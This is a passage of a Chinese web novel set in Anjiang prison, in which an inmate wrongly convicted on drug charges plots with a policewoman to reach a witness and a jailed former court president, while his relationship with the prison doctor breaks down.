秦墨点点头,又补了一句:“我爸说,这种人不该埋没。他还感慨——如果那人没坐牢,肯定是优秀的检察官和法官,现在就算有案底,也应该有机会去当个**员之类的,他甚至都想为这人做点什么。”
说到这,她看着眼前的林燃,认真的说:“我觉得啊,你应该也学学这个人,你是警校毕业,有法律素养,就算在里面,也不要放弃自己,放弃警校学到的,要像这个一样,好好改造,好好学习,将法律知识……”
秦墨说这事,就是想建议林燃也别放弃自己。
可说到后面,她自己却越说越慢。
到最后,甚至忽然停下来。
因为她自己也猛然发现自己好像已经找到了这个人!
而眼前林燃的表情也不对。
不是惊喜,不是意外,是一种——
很奇怪的平静。
像是早就在等这个消息。
秦墨盯着他看了几秒,脸上的表情一点一点变了。
从疑惑,到震惊,再到难以置信。
“那篇文章……”她喉咙滚动了一下,“是你写的?”
林燃没说话。
沉默是最好的回答。
秦墨张了张嘴,想说什么,又咽回去。她低头,看着桌面,过了好几秒,才抬起头。
虽然之前几个案子的合作下,她已经认识到林燃难以想象的侦查能力和业务技能。
但她没想到,这同届毕业的年轻人,居然还有如此精湛的法律素养!
能让全省政法界都为之震惊!
太……太厉害了!
她第一反应是对林燃充满佩服。
但很快,秦墨突然想到一个问题。
之前因为约定的合作关系,让她对林燃自己的案子也有些上心。
她突然想到一个问题。
负责林燃案子二审的法官,好像就是这个谭院长!
第一百六十六章 算计
而他居然在上诉程序启动后,还递了一篇论文到这院长手里?!
甚至让这院长为他推荐?
难道这一切,都是眼前这阴鸷俊秀的男人,早就料到的!
一丝恐惧袭上了秦墨心头。
虽然见识过林燃的厉害,但今天,再次超过了她的想象。
即使身处高墙,他还能调动一切可以调动的资源,利用一切可以利用的人。
那么,引伸一下,他对自己……是不是也是算计后的利用?
一股没由的心酸,突然刺入心口。
秦墨靠在椅背上,整个人像是被抽走了什么。
她愣了半晌,忽然笑了。那笑容有点复杂,说不清是佩服还是别的什么。
“林燃,”她说,“你到底是干什么的?”
这话问得没头没尾。
他没回答。
秦墨也不等他回答。她把身子往前探了探,压低声音:
“你对我……是不是也只有利用?”
这句话一出。
现场两个人都面色一变。
秦墨自己都不知道为什么会突然问出这么一句?
这原本就是约定好的赤裸裸的合作关系。
他为她破案提供意见,她为他在监狱外提供助力。
一码归一码,一笔归一笔。
之前也算是合作愉快。
为什么现在突然这么在意?
难道自己在这些接触下,已经对眼前男人有些不一样的情愫?
林燃看出了秦墨的窘迫,他没想到眼前自己为她铺好大好前途的美女警官,已经对自己有了一丝混杂了钦慕与依赖的异样情意。
“咳咳……算了,不说这个了,我……”
气氛尴尬,林燃不知如何回答,秦墨干脆跳过了这个话题。
“……我爸说,谭副院长这人,表面看着随和,骨子里傲得很。一般的文章他看都不看,能让他亲自写推荐语的,这几年也就你这一篇。你知道这意味着什么吗?”
林燃点点头。
意味着上诉的事,有门了。
不是靠关系,不是靠送礼,是靠一篇文章,让那个管刑庭的副院长,记住了一个叫林燃的犯人。
“你上诉的案子,现在就在中院,就在他手里。”秦墨继续说,“如果谭副院长知道他手上卷宗里的犯人,和他所推荐的论文作者是一个人,那……”
秦墨说到这。
林燃没回答,他笑了。
这笑让她愣了下,突然明白了这也是在他的算计中。
“林燃,”她忽然说,“你知道吗,有时候我觉得你根本不像二十四岁。”
林燃没接话。
秦墨想起昨天,她父亲还在她面前夸过这个作者。
“我爸听说这事,还感慨来着。”她声音有点飘,“说安江监狱真是藏龙卧虎,有个犯人居然能写出这种文章。他还说,要是能找到这个人,说不定能……”
她没说完。
林燃接了一句:“能什么?”
秦墨看着他,眼神复杂极了。
“能帮他把案子翻过来。”
她说。
林燃点点头,脸上是她看不穿的深邃笑意。
她猛然发现。
一切,这一切都在向他有利的方向**。
秦墨深吸一口气,把那股复杂的情绪压下去。
她是刑警,不是十几岁的小姑娘,知道什么时候该说什么,什么时候该办事。
从林燃的眼神里,她知道他想要的是什么。
她今天就是带着这个答案来的。
只是,不是个好消息。
她压低声音,“还有个事,坏消息。”
林燃下意识的坐直了背,他意识到说正事了。
“狗皮蛇那个案子,”秦墨说,“结了。”
林燃眼神一凛。
“怎么回事?”
“禁毒大队那边审了很久,什么都没审出来。”秦墨语速很快。
林燃咬牙,但没说话。
秦墨看着他,继续说:“我想方设法向他们禁毒大队那边打听,他们禁毒也怀疑不可能是单线,但查不下去。每次查到关键地方,线索就断了。他进去之后,连着审讯了三次。前两次他什么都不说,第三次开口了,咬死自己是单干,没有上线,没有同伙。他那个**网络,说是自己这些年一点一点
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搭起来的,跟别人没关系。”
“你们信?”
“不信。”秦墨摇头,“但没办法。证据链到他这儿就断了。他下面那些马仔,抓的抓,跑的跑,能对上号的都咬他是老大。他上面要是真有人,那人藏得太深,一点痕迹都没留。”
林燃沉默着。
这个结果,其实在他意料之中。
姚永军那种人,既然能设计把他送进监狱,能一点痕迹都不留,怎么可能让狗皮蛇这种小角色把他咬出来?
“最要命的是——”秦墨压低声音,“有人‘点’了他一下。”
林燃眼神一凛。
“什么意思?”
“第三审讯之后,看守所那边说,有个律师去见了狗皮蛇。”
秦墨说。
“手续齐全,是正经律师。但见完之后,狗皮蛇的态度就变了。之前虽然咬死不说,但眼神里有东西——犹豫,害怕,可能还有一点想说的念头。见完律师之后,那些东西全没了。他整个人……怎么说呢,像被抽走了什么,特别平静。”
林燃懂了。
不是被抽走什么,是被人递了话。
递的话大概意思是:你老老实实扛下来,你外面的人我们照顾。你要是敢乱咬,那些人会怎么样,你自己想。
“案子走到死胡同,加上后来省里有人打了招呼,说案子拖太久,先结了。狗皮蛇判了十五年,现在在看守所那边等着服刑。”
秦墨说完后续,林燃沉默了许久,才开口:
“那个律师呢?”
“查了,是正经律师,有执业证,有事务所挂靠。他说是狗皮蛇的家人委托的,正常会见。手续没问题,挑不出毛病。”秦墨顿了顿,“但谁都知道,这种时候,这种律师进去,见的不是犯人,是帮外面的人递话。”
林燃靠在椅背上。
日光灯嗡嗡响着,像只困在玻璃罩里的虫。
他想起2000年6月12日那个闷热的夜晚。城西老码头三号仓库,那包50克“双狮地球”,那个自称姚永军的光头副局长。还有后来审讯室里,那个冰冷的声音:“查无此人。”
第一百六十七章 更狠
十五年。
狗皮蛇判了十五年。
可真正该死的人,还在外面逍遥。
“林燃?”秦墨叫他。
林燃抬起头。
“你没事吧?”
“没事。”他说。
秦墨盯着他看了几秒,那眼神里有点担忧,也有点别的什么。
“我知道你想说什么,”她压低声音,“你想让我继续查,查姚永军,查昌荣国际,查那些背后的人。可林燃,我告诉你实话——我查不动了。”
林燃看着她。
“我爸跟我说,有些事情,不是我不想查,是不能查。”
秦墨的声音有点紧,“昌荣国际那家公司,表面看着就是个进出口贸易,可股东背景太复杂。有外资,有省里的关系,还有……”
她顿了顿,声音压得更低,“还有上面的人。”
林燃点点头。
他猜到了。
从白癜风说出“昌哥”那个名字开始,他就猜到了。
能让笑面佛在监狱里过得那么滋润,能让鳄老大那种人替他们卖命,能让一个案子从省里打到招呼就结了——这背后的人,能量小不了。
可那又怎样?
他林燃这辈子,就是冲着这些人来的。
对,他强行打起精神。
脑子里那些碎片又开始转。
狗皮蛇的案子结了。
狗皮蛇本人很快就会判,然后被送到某个监狱服刑。
到时候,这条线就彻底断了。
除非——
他忽然直起身。
秦墨被他这个动作吓了一跳:“怎么了?”
林燃盯着她,眼神亮得瘆人:“狗皮蛇判了之后,会去哪儿服刑?”
秦墨愣了愣:“还没定。”
“狗皮蛇的服刑地,谁定?”
秦墨愣了愣:“**啊。判决生效后,**会指定服刑监狱。一般是就近原则,但也可以根据情况调整,但这种跨省**的案子,一般会送到外省,避免本地关系网干扰。可能海东,也可能海西……”
“如果要调整服刑地,怎么调整?”
“得有人申请。”秦墨说,“要么是**觉得那边不合适,要么是**觉得有必要换地方,要么……”她顿了顿,“要么是犯人自己申请。”
林燃点点头。
“能不能让他来安江?”
秦墨以为自己听错了:“什么?”
“安江监狱。”林燃说,“想办法,把他弄到安江来。”
秦墨盯着他看了几秒,像看一个疯子。
“林燃,你知道你在说什么吗?”她把声音压得极低,“狗皮蛇是把你送进来的关键证人。你俩要是关在一个监狱里,还是安江这种地方——”
“我知道。”林燃打断她,“我就是要跟他关在一起。”
秦墨张了张嘴,不知道该说什么。
林燃看着她,语气很平,但每个字都像钉子:
“狗皮蛇的案子结了,但结的是警方的案子。我要查的,不是他那点破事。我要查的,是谁把他推出来当枪使,是谁在我背后递的刀,是谁——”
他顿了顿。
“是谁能让一个副局长凭空消失,能让一个警校生的档案干干净净地变成‘未报到’。”
秦墨沉默了。
她知道林燃说的是谁。
姚永军。
那个只在档案里存在过几个月,然后像鬼一样消失的人。
“你在这儿,他在外面。”秦墨说,“就算狗皮蛇来了安江,你能问出什么?他那种人,咬**不说,你拿他没办法。再说,你现在……”
她没说下去。
但意思到了。
林燃现在是犯人,不是警察。他没有审讯权,没有调查权,什么都没有。
“我有别的办法。”
林燃说,声音不高,但每个字都砸得很实,“他背后的人,我挖不出来。但在这儿,在我的地盘上,我能让他开口。”
秦墨盯着他看了几秒。
那眼神很复杂,有担忧,有犹豫,还有一丝藏得很深的——兴奋?
“林燃,”她压低声音,“你知道你在说什么吗?”
“知道。”
“先不说你怎么让狗皮蛇来安江服刑,就算你千方百计成功了,这狗皮蛇是重刑犯,判了十五年。他来安江,肯定会被扔进重刑犯监区。
那边什么
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情况你知道吗?比你这三监区狠多了。你想从他嘴里挖东西,得先保证自己能活着跟他打交道。”
林燃点点头。
“我知道。”林燃说,安江监狱分四个监区。他待的三监区算是中不溜,上面还有二监区、一监区,关的都是重刑犯、死缓、无期。狗皮蛇那种人,进来肯定往那边扔。
但那又怎样?
“但这是他唯一的机会,也是我唯一的机会。”
他看着秦墨的眼睛。
“狗皮蛇不开口,姚永军就永远是个‘不存在的人’。刘昌荣就永远是个‘正经商人’。我那十年的刑,就永远是我‘咎由自取’。”
而且他现在在三监区站稳了,可要真正翻案,光站稳不够。
得把手伸出去。
伸到那些他够不着的地方。
血牙盟不是说说而已。
以血还血,以牙还牙!
“我有办法。”他说。
只要狗皮蛇到了安江,到了他面前——
林燃有办法让他说。
“我要让他来安江。”他说,“来了之后,我自己挖。”
秦墨沉默了。
她盯着林燃看了很久。
那眼神里有担忧,有不解,还有一点——说不清道不明的东西。
“你知不知道这有多危险?”她终于说,“就算你成功了,来安江了,甚至到三监区了……但狗皮蛇那种人,**十几年,手上不知道沾过多少血。他要是真来了安江,你以为他会老老实实配合你?”
“我知道。”
“那你——”
“秦墨。”林燃打断她,声音不高,但很稳,“我在这里面待了一年多。这一年多,我学会了一件事。”
“什么?”
“有些人,你不让他服,他永远不会开口。有些人,你不让他怕,他永远不会说实话。”
他顿了顿。
“狗皮蛇那种人,在外面有靠山,在看守所里有人递话,他觉得只要咬**不说,就没事。但如果他进了安江,如果他知道自己的靠山够不着了,如果他知道有人比他更狠——”
林燃没说完。
但秦墨听懂了。
第一百六十八章 **院长
可她沉默了很久。
探监室里只有日光灯管嗡嗡的响声,和门外管教偶尔的咳嗽声。
秦墨看着他,脸色复杂。
“林燃,”她忽然开口。
“你知道吗,我第一次见你,是那个**案。你给我递纸条,说孩子可能已经**。我当时甚至觉得你就是**犯,一个犯人,怎么会知道这么多。”
林燃没说话。
“后来你帮我破案,给我提那些建议,我又觉得你不只是怪,是可怕。”秦墨继续说,“再后来,你说你是被冤枉的,你一直在查那些害你的人。我开始觉得……”
她顿了顿,“觉得你可怜。”
林燃看着她。
“可现在,”秦墨说,“我不觉得你可怜了。我觉得你……”她想了想,找到一个词,“可怕。”
“害怕了?”林燃问。
秦墨摇摇头。
“不是害怕。”
她说。
“是……说不上来。就像看着一个人在悬崖边上走钢丝,你知道他可能会掉下去,可你又忍不住想看,他到底能走多远。”
林燃扯了扯嘴角。
这形容,还挺贴切。
“那你愿不愿意帮这个走钢丝的人?”
秦墨挑眉:“我已经在帮了。”
“再进一步,请你爸爸开口,我相信秦局长能够影响**,请他帮忙,将狗皮蛇调到安江来!”
林燃开口完,紧紧盯着秦墨的眼睛。
他相信眼前的漂亮女警会帮他。
也必须帮他,这是上诉最重要的一步。
可秦墨没等林燃接话,自己先别开了眼。
她低头,肩膀耸起,双手交叉放在并拢的腿上。
这是内疚、防卫的肢体语言。
林燃心里一凜,一股不详的预感。
果然。
“林燃,对不起,这个忙,我帮不到。”
她说,声音比刚才低了太多。
但马上像补救一般,给出解释:
“不是我不帮你。我爸……他没你想的那么大的能量。他是副局长没错,可**那边的事,他说不上话。跨系统调犯人这种事,得**一把手点头,甚至得省**有人……”
她没说完,但意思明确。
办不到。
林燃靠在椅背上,看着她。
他有些脱力。
不能抓住狗皮蛇,那自己的案子……
这姑娘说话的时候,不像之前那样直直地看过来,眼神就差埋进地底了。
是真的办不到,还是不想办?
林燃没问。
有些事问多了,没意思。
但此时,他稍微一思索,倒也觉得理所应当。
不管秦副局长知道多少,但只要林燃请秦墨开口,他肯定会看出狗皮蛇这个案子背后的复杂性。
他们秦家父女,现在在安江市局势头正猛,何必淌这趟浑水。
现在秦墨拒绝也正常。
她是答应帮自己,但那是在自己对她有利用价值,能帮她破案的基础上。
现在要动用她们秦家的关系,来帮一个监狱服刑的年轻**?
自然是不可能。
凭什么?
林燃觉得自己先前有些当局者迷了。
或者是太想抓住狗皮蛇,没考虑到这一层。
现在只能另外想办法。
但同时,他又不得不对秦墨多看一眼。
这姑娘。
不是自己的傀儡木偶。
自己和她的合作,基础是各自的价值。
要想加深对她的影响,就要再帮她破大案,或者,给她设套,将两人的利益捆绑……
有些凄凉。
但说回来,人与人之间,不都是如此么。
想到这,林燃心底微微苦笑。
“行。”他说。
秦墨抬起头,看他。
“我知道了。”林燃补了一句,语气很平,脸上也没什么表情。
秦墨盯着他看了几秒,嘴唇动了动,想说什么,又咽了回去。
探监室里安静下来。
只有门外走廊里偶尔传来的脚步声,和那根老灯管嗡嗡的电流声。
过了好一会儿,秦墨才又开口,声音轻得像怕吓着谁:
“林燃,你是不是觉得我在敷衍你?”
林燃没说话。
秦墨咬了咬嘴唇,这个动作在她身上很少见。她一向是那种利落干脆的性子,说话办事都带着股劲儿,很少露出这种犹豫的样子。
“我知道你
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着急。”她说,“狗皮蛇判了,马上要送走。他要是去了别的地方,你这边的线索就断了。可是林燃——”
她顿了顿。
“有些事,不是我一个人能决定的。我爸在局里,上面还有局长,还有政法委,还有……我要是硬来,不光我自己倒霉,我爸也得跟着吃挂落。”
林燃点了点头。
“我明白。”他说。
秦墨看着他,眼神里有点复杂的东西。
她大概是在分辨,这个“明白”是真明白,还是场面话。
林燃也不解释。
他确实明白。
秦墨有她的路要走,有她的前程要奔。她帮他是情分,不帮是本分。这一年多,她给的消息、办的事,已经够多了。再往下,就是真刀**的硬仗,输了要赔上全家那种。
换作是他,也得掂量掂量。
气氛尴尬起来。
林燃看了看时间,会见时间还没到。
但今天他不想再说了。
他作势站起身,就要喊管教过来。
说起来,这还是两人会见时,第一次出现没到时间就要结束的场面,先前都是意犹未尽,到点都舍不得走……
“林燃,”秦墨忽然往前探了探身子,压低声音,林燃也止住了动作。
“虽然那件事我帮不上忙,但有件事,我觉得可能对你有用。。”
林燃看着她。
秦墨像是想了很久,才想到这个信息点,想作为先前拒绝他的补偿。
“安江中院那个前院长,”秦墨说,“孙绍裘,你听说过吗?”
林燃想了想。
孙绍裘这名字,他在前世就听过几回。
安江监狱服刑犯里面的大人物。
安江市中级人民**院长!
后来因为**、徇私枉法,被**了。
记得新闻上说是“涉案金额特别巨大”,判了十几年。
前世却没呆多久,几年后就保外就医了。
“听说过。”他说,“怎么了?”
“他现在就在安江监狱服刑。”
秦墨说,“去年判的,今年年初送过来的。具体在哪个监区我不知道,但肯定在重刑犯那边。”
林燃心里一动。
第一百六十九章 几分真假
孙绍裘。安江市中院前院长。
因贪腐**后,判了十几年。
这个人,他前世听说过——不是因为案子大,是因为这人身份特殊,堂堂中院院长!
而且“保外就医”特别快,进去没几年就出来了。
当时监狱里有人传,说孙院长手里握着太多人的秘密,不敢不让他出去。
现在秦墨提起来,林燃脑子里那些碎片又开始转。
“他在哪个监区?”
“不知道。”秦墨摇头,“这种级别的犯人,监狱那边肯定有安排。重刑犯监区可能性大,也可能单独关押。我爸说,孙绍裘进去之后,除了家属,基本不见外人。上面有人打过招呼。”
林燃沉默了几秒。
“他判的什么罪?”
“**、徇私枉法。”秦墨说,“数额特别巨大,判了十二年。但是……”她顿了顿,“圈子里有人说,他真正的罪名不是这些。”
“是什么?”
“知道得太多了。”秦墨压低声音,“他在中院干了二十多年,经手的案子成千上万。那些案子背后,有多少人、多少事,他比谁都清楚。最后倒台,不是因为他贪,是因为他该退了,有人想让他闭嘴。”
林燃靠在椅背上。
这话他信。
司法系统里,像孙绍裘这种干了一辈子的老法官,手里握着的秘密,能压死一**。
最后落个“**”的罪名进去,是常规操作。
人进去了,嘴就闭上了,那些秘密就烂在肚子里了,就是他想吐出来,别人也不会相信一个**贪腐分子的话。
秦墨想了想,补充道:
“我听我爸提过一嘴,说这人在里面挺低调的,不惹事,也不跟谁来往。毕竟是干过**院长的,知道轻重。”
林燃没说话,脑子里那根弦却悄无声息地绷紧了。
前院长。
在监狱里。
服刑。
这信息放在一起,能拼出点东西来。
能不能通过这人去影响中院,让狗皮蛇分配到安江来!?
林燃突然想到一个点子。
一个**的中院院长,已经是他手里唯一能够得着,能影响狗皮蛇分配服刑监狱的棋子了。
林燃有了希望。
秦墨看着他,像是猜到他在想什么,压低声音补了一句:
“林燃,这个消息我是告诉你了,我知道你在琢磨什么。但也需要提醒你,你想清楚——孙绍裘那种人,干了几十年**,见过的案子比咱们吃的米都多。他要是那么容易开口,早开了。再说,他现在是犯人,跟你一样,你凭什么让他帮你?”
林燃点点头。
“我知道。”他说。
秦墨盯着他看了几秒,眼神里有点担忧,也有点别的什么。
“你……”她开口,又停住。
“怎么?”
“没什么。”秦墨摇摇头,站起来,“我得走了。今天说得够久了。”
林燃也站起来。
两人面对面站着,隔着一张窄窄的长桌。
秦墨看着他,忽然笑了一下。
那笑容很淡,淡得像要散在惨白的日光灯里。
“林燃。”
她说,“你知道吗,有时候我真希望你并不是冤枉的,就是个查实的普通**。你真的有罪的话,就不用想这么多,就不用把自己逼成这个样子,安心熬日子就是。”
林燃没接话。
秦墨转身。
走到门口,她停下来,回头看了他一眼。
她像是想起这毕竟是会见,还是亲密会见,她又折返过来,给林燃抱了一下。
秦墨那个拥抱来得突然,结束得也快。
她松开手,转身走了。
高跟鞋敲在水泥地上,咔咔咔,一下一下,消失在走廊尽头。
林燃站在原地,愣了几秒。
倒不是因为那个拥抱——虽然是演戏,但这姑娘演得越来越像真的了。
让他愣神的,是那一瞬间脑子里突然闪过的画面。
他猛然回想起许久之前,在前四死去后,在重生前的那绮丽的梦境。
那个梦境里,和自己缠绵的人!
不是苏念晚。
是秦墨。
那个画面来得没头没尾:
昏黄的光,散开的头发,女人仰起头时脖颈的弧线,还有那双眼睛——
不是苏念晚温润含水的眼,是秦墨那种带着点倔、带着点傲、
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亮得能照见人影的眼神。
林燃闭了闭眼。
画面消失了。
他睁开眼,走廊里空荡荡的,只有惨白的日光灯和远处管教走动的声音。
见鬼了。
他想。
那个梦……梦里那个人,他一直以为是苏念晚。可刚才那一瞬间,他突然不确定了。
不是长相,是感觉。梦里那种又远又近的、说不清的熟悉感,刚才在秦墨身上,忽然对上了。
林燃站在原地,喉咙有点干。
那个梦给了他许久的安慰,抚慰了前世的伤,醒来后就是反杀鳄老大的今世。
梦中的那个女人对他意义重大。
在和苏念晚温存后,林燃一直以为那个梦中女神是美女狱医。
可今天感受下,居然是眼前俏丽高傲的女警。
这算什么?预知梦?
他深吸一口气,把那点荒谬的念头压下去,转身往回走。
现在想这些没用。
苏念晚那边还挂着呢,老严那句话,够她难受一阵子了。
……
医务室的门关着。
林燃走之后,苏念晚一直站在处置台边,手里攥着那卷绷带,攥得指关节发白。
她没动。
就那么站着,盯着那扇关上的门。
老严那句话像根刺,扎在脑子里,拔不出来。
“你女朋友……挺勤快的啊,三天两头来。”
女朋友。
他来医务室的时候,身上有没有那个女人的味道?
他抱自己的时候,脑子里想的是谁?
他说“喜欢”的时候,那双眼睛看着的,到底是不是自己?
这些问题一个接一个冒出来,像水底的泡泡,压都压不住。
她想起第一次见林燃,是那个晚上,刀疤辉他们打架,他手臂被划伤来缝针。
那时候他看她的眼神,冷,静,像是在评估一件工具。
后来他拿伪造病历的事威胁她,她恨过他,真的恨。再后来那笔钱——
那笔钱,他说是“将心比心”。
她信了。
处置室那天的温存,他说“喜欢”,她也信了。
可现在想想,他那种人,嘴里的话,有几分真?
第一百七十章 上门质问
苏念晚慢慢蹲下去,背靠着药柜,把脸埋进膝盖里。
绷带掉在地上,滚了两圈,停在墙角。
她没哭出声,就那么蹲着,肩膀一抖一抖的。
护工小夏推门进来的时候,看见的就是这副场景。她愣在门口,想退出去,又不知道该不该退。
“苏……苏医生?”
苏念晚抬起头。
脸上干干净净的,就是眼眶有点红。她站起来,拍了拍白大褂上并不存在的灰,声音很平:
“没事。药柜底下落了灰,蹲久了头晕。”
小夏“哦”了一声,眼神往她脸上瞟,没敢多问。
苏念晚走到水池边,拧开水龙头。冰凉的水冲在手上,她盯着水流看了几秒,忽然开口:
“小夏,你说……一个人为了你能付出一切,却又骗你,那他说的话,能信几分?”
小夏被这没头没尾的问题问愣了:“啊?”
“没事。”苏念晚关掉水龙头,甩了甩手,“你忙你的。”
小夏点点头,缩着脖子走了。
处置室里又安静下来。
苏念晚靠在窗边,看着窗外那堵灰白色的高墙。
墙上有电网,电网上面是天,天是灰蒙蒙的,压得很低。
她想起林燃离开时那个背影。
他没有否认,也没有解释……那女朋友的事,就是事实。
指甲掐进掌心,有点疼。
——
林燃回到312的时候,刀疤辉正蹲在门口抽烟。
看见他过来,刀疤辉眼睛一亮,蹭得站起来:
“燃哥,没事吧?脸色这么难看?”
林燃摇摇头,推门进去。
监舍里其他人都在。周晓阳拄着拐在过道里挪,麻杆蹲在墙角看什么破书,牛哥坐在便池边发呆。
见他进来,都抬起头。
“燃哥,”周晓阳凑过来,“怎么了?”
林燃没说话,走到自己铺位,坐下。
几个人互相看看,眼神里都有点担心。燃哥平时话不多,但脸上那层冷是稳的。今天这冷,有点不一样,像冰底下埋着火。
刀疤辉跟进来,在他旁边蹲下,压低声音:
“燃哥,出啥事了?”
“没事。”林燃打断他,“都该干嘛干嘛。”
刀疤辉张了张嘴,把后面的话咽回去。
他冲周晓阳几个摆了摆手。几个人识趣地缩回自己位置,没再吭声。
林燃躺下,面朝墙壁。
脑子里那些碎片又开始转。
秦墨那个拥抱,梦里那个画面,苏念晚站在处置台边失神的模样,老严那句阴阳怪气的“女朋友”——
还有狗皮蛇。
判了,马上要送走。
要是去了外省,这条线就彻底断了。
除非——
林燃睁开眼,盯着墙上那道裂缝。
孙绍裘。
安江市中院前院长,现在就在安江监狱服刑。
这个人,能影响狗皮蛇的去向吗?
**系统的事,外人插不上手。但孙绍裘不是外人。他在中院干了二十多年,上上下下都是他的人脉。虽然现在倒了,可人还在,关系还在。
只要他肯开口,递句话出去——
林燃坐起来。
深夜的敲门声来得毫无预兆。
熄灯已经两个多小时了,312监舍里鼾声起伏。刀疤辉的呼噜还是那副德性,像台老掉牙的拖拉机,突突突,中间还夹着几声抽气——他腹部的伤没好利索,翻身时扯着了。
周晓阳睡得沉,但今晚磨牙磨得格外响,咯吱咯吱的,像老鼠啃铁栏杆。
林燃没睡。
他躺在上铺,睁着眼,盯着天花板那道裂缝。探照灯的光每隔十五秒扫过一次,裂缝就在明暗之间交替显现,像道永远愈合不了的伤疤。
脑子里那些碎片还在转。
秦墨那个拥抱,苏念晚站在处置台边失神的模样,老严那句阴阳怪气的“女朋友”——
还有那个梦。
梦里那个人,到底是谁?
敲门声就是这时候响起来的。
很轻。笃,笃笃。三下,短促,像是怕被人听见。
刀疤辉的呼噜停了。
周晓阳的磨牙也停了。
监舍里瞬间安静下来,安静得能听见窗外远处风吹过电网的呜咽声。
林燃坐起来。
刀疤辉已经摸到床边,手里攥着
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那截藏着的铁管,眼睛在黑暗里发亮。
“燃哥?”
林燃没说话,冲他摆了摆手。
他下床,光着脚走到门边,把耳朵贴上去。
门外传来极轻的呼吸声,还有一股淡淡的——栀子花香。
林燃愣住了。
他拉开门。
门外站着苏念晚。
她没穿白大褂,换了件深灰色的便服,头发披着,没扎。脸色白得吓人,眼眶红着,肿着,像是哭了很久。走廊那盏惨绿的应急灯照在她脸上,把那点红肿照得格外刺眼。
她身后站着小吴。
那个年轻狱警一脸为难,手里攥着两包烟——中华的,还没拆封。他冲林燃使了个眼色,压低声音:
“十分钟。苏医生说你腿伤复发,来换药。快点。”
说完,他往后退了两步,背过身去,装作什么也没看见。
苏念晚跨进门槛。
她站在那儿,离林燃不到两步远。门在她身后轻轻关上,发出很轻的一声闷响。
监舍里黑得厉害,只有窗外远处探照灯扫过时,才能看清对方脸上的轮廓。
刀疤辉第一个反应过来。
他噌地缩回铺上,把被子往头上一蒙,动作快得像被踩了尾巴的猫。周晓阳也反应过来,拐杖都顾不上拿,单腿蹦回自己位置,被子拉过头顶。
麻杆和牛哥更是恨不得把自己塞进墙缝里。
几秒钟之内,312监舍里就只剩下一片装死的寂静,和几个蒙在被子里、耳朵却竖得老高的身影。
今天这样的事不是第一次了。
之前苏念晚也连夜跑过来到监室给几人处理伤口。
那时大家就看出这美女狱医对自己老大的态度不一样。
但没人敢点破,没想到今天居然又来了。
苏念晚没看他们。
她盯着林燃。
那双眼睛红得厉害,肿得厉害,可里头的亮光一点没灭。
那光烧着,烫着,像要把人烧穿。
她甚至都没心情做换药动作来掩饰没,而是直接开口问出那个问题——
“你女朋友,”她声音压得极低,可那低里头压不住颤,“是谁?”
第一百七十一章 无法解释
林燃没说话。
他看着这个女人。
她站在黑暗里,深灰色的外套有点皱,头发乱糟糟地披着,眼眶红得像兔子。可她就那么站着,站得直直的,像根绷紧的弦。
窗外探照灯扫过。
那一瞬间的光亮里,他看清她眼底的水光,还有那水光底下烧着的东西。
不是质问。是最后的确认。
林燃沉默着。
他能说什么?
说那是假的,是演戏,是为了联络?可那联络的性质,他不能说。说那是合作关系,各取所需?可这话说出来,他自己都不信。
更重要的是——旁边那几个蒙在被子里、耳朵却竖得老高的家伙,门外那个背对着门、手里还攥着两包烟的小吴。
他没法解释。
一个字都没法解释。
苏念晚盯着他。
三秒。五秒。十秒。
黑暗里只有压抑的呼吸声,和窗外远处风吹过电网的呜咽。
“真的?”她问,声音更低了,低得像是怕惊醒什么。
林燃点了点头。
很轻,但足够让她看见。
苏念晚愣在那儿。
她没动,就那么站着。眼眶里那点水光晃了晃,没晃出来。她咬着嘴唇,咬得发白,咬得快要出血。
然后她走过来。
一步一步,走得很慢,走到他面前。
她把头抵在他肩上。
林燃能感觉到她肩膀在抖,抖得厉害。能感觉到她抓着他囚服的手,指关节攥得发白。能感觉到有什么东西洇湿了他的肩膀,一小块,温热的,慢慢洇开。
她没哭出声。
就那么抵着,抖着,咬着牙。
过了很久——也许是几秒,也许是几分钟——她往后退了一步。
抬起头。
脸上干干净净的,除了眼眶还有点红,什么也看不出来。眼泪已经擦干净了,不知道是用袖子还是用别的什么。
她看着他,声音很平,平得像是机器在说话:
“好了。以后医务室,只换药,不谈别的。”
说完,她转身。
拉开门,走出去。
门在她身后关上,发出很轻的一声响。
走廊里传来脚步声,很轻,很快,消失在黑暗里。
小吴探头往里看了一眼,欲言又止,最后叹了口气,跟了上去。
监舍里重新陷入黑暗和寂静。
刀疤辉几个蒙在被子里,一动不动,呼吸都屏住了。
林燃站在门边,看着那扇关上的门。
探照灯的光扫过,明,暗,明,暗。
他走回铺边,坐下。
没躺。
就那么坐着,靠着墙,看着天花板那道裂缝。
裂缝还在那儿。
十五秒扫过一次的光也还在。
可好像什么都变了。
他在黑暗里坐了很久。
久到刀疤辉的呼噜重新响起来,久到周晓阳又开始磨牙,久到窗外那盏探照灯不知道扫了多少个来回。
脑子里只有一句话在转。
以后医务室,只换药,不谈别的。
他闭上眼。
那个画面又来了——昏黄的光,散开的头发,女人仰起头时脖颈的弧线。可这次,那张脸清晰了。
不是苏念晚。
是秦墨。
林燃睁开眼。
天已经亮了。
一夜没睡。
他干脆坐起来。
招呼了一声。
“辉子。”
刀疤辉迷迷糊糊中,听见老大发话,还没睁眼,就一下坐起来。
等他揉开眼睛,看见林燃那眼神,心里咯噔一下。
燃哥这眼神,他见过。上次是白癜风那事儿之前,也是这么亮,亮得瘆人。
“老大,你没睡?”刀疤辉试探开口。
“嗯。”
“四监区那边,你有人吗?”林燃反问。
刀疤辉愣了愣:“我没几个认识的,但麻杆有啊,老程啊,怎么了?”
麻杆闻言,披着衣服也起来了。
“帮我打听个人。”林燃说,“姓孙,叫孙绍裘,以前是市中院院长。现在在安江服刑,可能在重刑犯那边。”
刀疤辉眼皮跳了跳。
院长?在监狱里?
这他妈是真正的大人物啊。
“燃哥,这人……”
“先打听。”林燃打断他,“在哪个监区,什么状态,平时跟谁接触。越细越好。”
刀疤辉点点头:“明白。”
林燃没在做指令,他起身,洗漱,准备新的一天。
监舍里安静下来。
麻杆此时也完全起来了,在刀疤辉旁边蹲下,压低声音:
“辉哥,燃哥咋了?”
刀疤辉摇摇头,手指在嘴边竖了竖。
麻杆咽了口唾沫,没敢再问。
窗外的天彻底亮了。
林燃看着镜子里的自己。
他想起来安江这一年多,从鳄老大到笑面佛,从白癜风到小霸王,从被人在厕所堵着打到现在三监区没人敢惹。
一步步走过来,靠的是什么?
不是命硬,是他从不让步。
狗皮蛇这条线,他不能让步。
姚永军那个人,他不能让步。
那十年的冤枉,他更不能让步。
至于苏念晚——
他闭了闭眼。
等这事了了,再跟她解释。
现在不行。
现在他得先把那个前院长找出来。
但没想到,麻烦比消息先来。
